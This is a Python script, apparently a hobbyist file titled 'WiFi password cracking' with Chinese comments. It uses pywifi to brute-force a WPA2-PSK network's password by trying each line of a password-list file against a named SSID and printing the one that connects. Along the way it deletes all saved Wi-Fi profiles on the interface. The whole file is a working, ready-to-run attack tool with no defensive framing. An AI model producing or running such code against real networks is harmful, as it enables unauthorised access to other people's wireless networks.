# !python3      # 使用工具:PyCharm
# 用户登录名:yyds_l
# 项目名称: python爬虫     文件名称:WiFi破解密码
# 创建日期:2022/3/17      创建时间:14:27
# 2022/03/17 14:27

"""ok"""


def print_hi_two(name):
    # 异常捕捉
    try:
        print(f'Hi, {name}')
    except Exception as err:
        print(err)


def print_hi():
    # 异常捕捉
    try:

        i = 'python'
        # 多线程调用
        print_hi_two(i)
        print("ok")
    except Exception as err:
        print(err)


# 调用
def runPs():
    # coding:utf-8
    import time  # 时间
    import pywifi  # 破解wifi
    from pywifi import const  # 引用一些定义
    from asyncio.tasks import sleep
    class PoJie():
        def __init__(self, path):
            self.file = open(path, "r", errors="ignore")
            wifi = pywifi.PyWiFi()  # 抓取网卡接口
            self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
            self.iface.disconnect()  # 测试链接断开所有链接

            time.sleep(1)  # 休眠1秒

            # 测试网卡是否属于断开状态，
            assert self.iface.status() in \
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        def readPassWord(self):
            print("开始破解：")
            while True:

                try:
                    myStr = self.file.readline()
                    if not myStr:
                        break
                    bool1 = self.test_connect(myStr)
                    if bool1:
                        print("密码正确：", myStr)
                        break
                    else:
                        print("密码错误:" + myStr)
                    sleep(3)
                except:
                    continue

        def test_connect(self, findStr):  # 测试链接

            profile = pywifi.Profile()  # 创建wifi链接文件
            profile.ssid = "@@@a@"  # wifi名称
            profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放，
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = findStr  # 密码

            self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
            tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
            self.iface.connect(tmp_profile)  # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                isOK = True
            else:
                isOK = False
            self.iface.disconnect()  # 断开
            time.sleep(1)
            # 检查断开状态
            assert self.iface.status() in \
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

            return isOK

        def __del__(self):
            self.file.close()

    path = r"密码本.txt"
    start = PoJie(path)
    start.readPassWord()

    print_hi()


# 运行
if __name__ == '__main__':
    runPs()
